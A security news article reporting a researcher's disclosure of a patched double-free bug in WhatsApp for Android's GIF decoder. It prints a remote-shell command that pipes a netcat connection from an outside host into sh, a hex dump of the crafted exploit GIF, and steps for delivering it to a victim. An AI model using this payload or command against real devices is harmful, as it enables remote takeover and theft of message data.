Pierluigi Paganini October 02, 2019

Researcher discovered a double-free vulnerability in WhatsApp for Android that could be exploited by remote attackers to execute arbitrary code on the vulnerable device.

A security researcher that goes online with the moniker Awakened discovered a double-free vulnerability in WhatsApp for Android and demonstrated how to leverage on it to remotely execute arbitrary code on the target device.

The expert reported the issue to Facebook that acknowledged and addressed the flaw with the release of WhatsApp version 2.19.244.

The expert discovered that the flaw resides in the DDGifSlurp in decoding.c in libpl_droidsonroids_gif .so library used to generate the preview of the GIF file when a user opens Gallery view in the popular messaging application to send a media file,

“When the WhatsApp Gallery is opened, the said GIF file triggers the double-free bug on rasterBits buffer with size sizeof(GifInfo). Interestingly, in WhatsApp Gallery, a GIF file is parsed twice. When the said GIF file is parsed again, another GifInfo object is created.” reads a technical analysis published by the expert. “Because of the double-free behavior in Android, GifInfo info object and info->rasterBits will point to the same address. DDGifSlurp() will then decode the first frame to info->rasterBits buffer, thus overwriting info and its rewindFunction(), which is called right at the end of DDGifSlurp() function.”

The expert was able to craft a GIF file to control the PC register, then he successfully achieved remote code execution by executing the following command:

system("toybox nc 192.168.2.72 4444 | sh");

The expert highlighted that it was not possible to point to system() function in libc.so, instead, it was necessary to first let PC jumps to an intermediate gadget.

“we need an information disclosure vulnerability that gives us the base address of libc.so and libhwui.so. That vulnerability is not in the scope of this blogpost.” continues the expert. ” Note that the address of system() and the gadget must be replaced by the actual address found by an information disclosure vulnerability.”

The expert developed the code that was able to generate a corrupted GIF file that could exploit the vulnerability.

notroot@osboxes:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c
.....
.....
.....
notroot@osboxes:~/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B

Then he copied the content into a GIF file and send it as Document with WhatsApp to another WhatsApp user. The researcher explained that the crafted GIF file could not be sent as a Media file, because WhatsApp attempts to convert it into an MP4 before to send it. The vulnerability will be triggered when the target user that has received the malicous GIF file will open WhatsApp Gallery to send a media file to his friend.

Below the attack vectors devised by the expert:

1. Local privilege escaltion (from a user app to WhatsApp): A malicious app is installed on the Android device. The app collects addresses of zygote libraries and generates a malicious GIF file that results in code execution in WhatsApp context. This allows the malware app to steal files in WhatsApp sandbox including message database.
2. Remote code execution: Pairing with an application that has an remote memory information disclosure vulnerability (e.g. browser), the attacker can collect the addresses of zygote libraries and craft a malicious GIF file to send it to the user via WhatsApp (must be as an attachment, not as an image through Gallery Picker). When the user opens the Gallery view in WhatsApp, the GIF file will trigger a remote shell in WhatsApp context.

The exploit works for WhatsApp version 2.19.230 and prior versions, the company addressed it with the release of the version 2.19.244

The exploit works for Android 8.1 and 9.0, but the expert explained that it does not work for Android 8.0 and below.

“In the older Android versions, double-free could still be triggered. However, because of the calls by the system after the double-free, the app just crashes before reaching to the point that we could control the PC register.” concludes the expert.

Pierluigi Paganini

(SecurityAffairs – WhatsApp, hacking)

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